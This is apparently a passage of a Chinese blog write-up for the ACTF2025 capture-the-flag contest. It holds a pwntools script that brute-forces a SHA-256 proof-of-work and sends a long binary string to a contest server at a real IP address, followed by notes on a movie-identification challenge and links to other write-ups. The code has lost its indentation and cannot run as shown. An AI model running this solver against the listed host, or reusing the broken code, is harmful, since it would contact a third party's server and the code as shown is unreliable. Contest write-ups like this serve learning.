000000000000000000000010000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000100000011000000011000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000100000000000000000000000000100000100000000000000000000000000000000010000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000010000000000000000000000100000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000100001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000100000000000000000000000010000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000100001000000010100000000000000000001000000000000100000000000000100000000000000000000100000000000000000000100000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000010000000000000000000100000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000100000000000000001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000100000000000000000000000000000000010000000000000000000000000000000000000000000100000100000000000000000000100010000100000101000000000000000000000000000000000001000000000100000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000100000000000000000000000000010000000000000000000000000000100110001000000100000000000000000000000000000000000000000000100100000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000001000000000000000000000000000000100000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000001000000000000000000100010000000000100010000000000000000000000100000000000000000000000000000000001000000000000000010000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000100000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000100000000000000001000000000000000000000000000001000000000000000000000000000000100000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000001100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000100000000000000110001100100000000000100000000000000000000000000000000000010000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000100000000000000000000001000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000"
# 连接到目标服务,这里假设服务在本地 1234 端口,你需要根据实际情况修改
conn = remote('1.95.71.197', 9999)

# 接收服务的回显信息
echo = conn.recvline().decode()

# 使用正则表达式提取后缀和目标哈希值
pattern = r'sha256\(XXXX\+(\w+)\) == (\w+)'
match = re.search(pattern, echo)
if not match:
log.error("Failed to extract suffix and target hash from the echo.")
conn.close()
exit(1)

suffix = match.group(1)
target_prefix = match.group(2)

# 字符集,包含所有字母和数字
charset = string.ascii_letters + string.digits

# 尝试所有长度为 4 的 ASCII 可打印字符组合
for prefix in itertools.product(charset, repeat=4):
candidate = ''.join(prefix) + suffix
hash_val = hashlib.sha256(candidate.encode()).hexdigest()
if hash_val.startswith(target_prefix):
print(f"[+] Found match: {''.join(prefix)}")
print(f"SHA256('{''.join(prefix)}{suffix}') = {hash_val}")
# 将找到的前缀发送给服务
conn.sendline(''.join(prefix).encode())

# 接收并检查 "Right!" 响应
response = conn.recvline().decode().strip()
if "Right!" in response:
print(response)
# 接收并处理 "give me your data:" 提示
# data_prompt = conn.recvline().decode().strip()
# print(data_prompt)
# # 这里可以根据需求发送数据,假设发送 "test_data"
conn.sendline(flag)
# 接收并打印服务的最终响应
final_response = conn.recvall().decode()
print(final_response)
break
else:
print("[-] No match found.")

# 关闭连接
conn.close()

master of movie

根据片段截图找对应的影片的 IMDB 号,痛并快乐着(并非快乐

大伙一起狂找,可惜的是因为答案检测程序错误之类的导致我们痛失血分

misc 题的图片检索要百度、谷歌两个搜索引擎都去试试,此外还有小红书等等能根据图片搜索的都不要放过。

可供参考学习的 WP

https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487421&idx=1&sn=ed4bac0ccc875fb6eca3a70225d8d9fd&chksm=ceca926109a3e9ec14ff9a17755af60b025442d576c501391907fd9fcf3e7e5ea35755da1783&mpshare=1&scene=23&srcid=0428kKjnTIimO6XRILncnTW6&sharer_shareinfo=b4dcd54a0c1ee949a798df6ea093020b&sharer_shareinfo_first=b4dcd54a0c1ee949a798df6ea093020b#rd

https://blog.xmcve.com/2025/04/27/ACTF2025-Writeup


ACTF2025
http://5i1encee.top/2025/05/15/ACTF2025/
作者
5i1encee
发布于
2025年5月15日
许可协议